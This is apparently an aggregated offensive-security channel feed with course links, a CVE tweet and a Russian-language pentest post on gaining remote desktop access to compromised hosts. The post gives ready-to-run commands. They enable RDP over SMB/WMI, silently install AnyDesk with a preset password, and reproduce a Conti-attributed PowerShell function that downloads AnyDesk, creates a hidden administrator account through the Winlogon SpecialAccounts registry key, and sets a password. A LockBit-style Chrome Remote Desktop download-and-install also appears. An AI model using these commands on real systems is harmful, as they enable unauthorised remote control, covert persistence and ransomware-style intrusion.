All Security Engineering Courses

BloodHound Query Library A collection of Cypher queries designed to help BloodHound users to unlock the full potential of the BloodHound platform by creating an open query ecosystem. Blog: https://specterops.io/blog/2025/06/17/introducing-the-bloodhound-query-library/

HTB - Android Application Dynamic Analysis 🔗 Download info : https://academy.hackthebox.com/course/preview/android-application-dynamic-analysis @offenciveSec

Всем привет! В чате иногда возникает вопрос: «А как обеспечить себя графическим интерфейсом в ходе пентестов?» И иногда действительно хочется посмотреть на чужой монитор своими глазами, отойдя от замыленных зеленых консолек. В посте собрал список инструментов для решения такой задачи :) Самый простой способ — включай RDP.

nxc smb 10.10.10.10 -u admin -p admin -M rdp -o ACTION=enable METHOD=smb

nxc wmi 10.10.10.10 -u admin -p admin -M rdp -o ACTION=enable METHOD=wmi

# опционально добавляем себя в Remote Desktop Users

Однако для совершения этой операции потребуются права админа, а они есть далеко не всегда, поэтому мы можем посмотреть в сторону VNC, например, POC vncdll. Впрочем, иногда смотрят в сторону AnyDesk. Для развертывания есть скрипт-ванлайнер:

# deploy.cmd
C:\Users\victim\AppData\Local\Temp\anydesk.exe --install C:\Users\victim\AppData\Local\AnyDesk --start-with-win --silent
del C:\Users\victim\AppData\Local\Temp\anydesk.exe
echo Passw0rd! | C:\Users\victim\AppData\Local\AnyDesk\AnyDesk.exe --set-password
for /f "delims=" %i in ('C:\Users\victim\AppData\Local\AnyDesk\AnyDesk.exe --get-id') do echo %i

# Запускаем скрипт
cme smb 192.168.0.1 -u victim -p 'Passw0rd!' -x deploy.cmd

Этим способом любит пользоваться Conti, они разворачивают вот так:

Function AnyDesk {

   mkdir "C:\ProgramData\AnyDesk"
   # Download AnyDesk
   $clnt = new-object System.Net.WebClient
   $url = "http://download.anydesk.com/AnyDesk.exe"
   $file = "C:\ProgramData\AnyDesk.exe"
   $clnt.DownloadFile($url,$file)


   cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent


   cmd.exe /c echo J9kzQ2Y0qO | C:\ProgramData\anydesk.exe --set-password


   net user oldadministrator "qc69t4B#Z0kE3" /add
   net localgroup Administrators oldadministrator /ADD
   reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f

   cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id

   }

  AnyDesk

А их коллеги — LockBit — разворачивают Google Chrome Remote Desktop:

# Download from Google
powershell  -c (New-Object System.Net.WebClient).DownloadFile('https://dl.google.com/edgedl/chrome-remote-desktop/chromeremotedesktophost.msi', $env:ProgramData+'\\1.msi')

# Install
msiexec /i C:\\ProgramData\\1.msi

Наконец, в нашем небольшом чатике коллеги накидали иные варианты: - https://rustdesk.com/ ; - https://www.supremocontrol.com/ ; - https://www.n-able.com/products/n-sight-rmm ; - https://github.com/miroslavpejic85/p2p ; - https://github.com/ps1337/reinschauer .

PENTESTING WITH PARROT OS Learn Hacking from Basic to Pro -------------------------------------------------------- Channel Link ➧More Channels | ➧Add Chat | ➧Shop

😈 [ Synacktiv @Synacktiv ] Microsoft just released the patch for CVE-2025-33073, a critical vulnerability allowing a standard user to remotely compromise any machine with SMB signing not enforced! Checkout the details in the blogpost by @yaumn_ and @wil_fri3d. 🔗 https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 🐥 [ tweet ]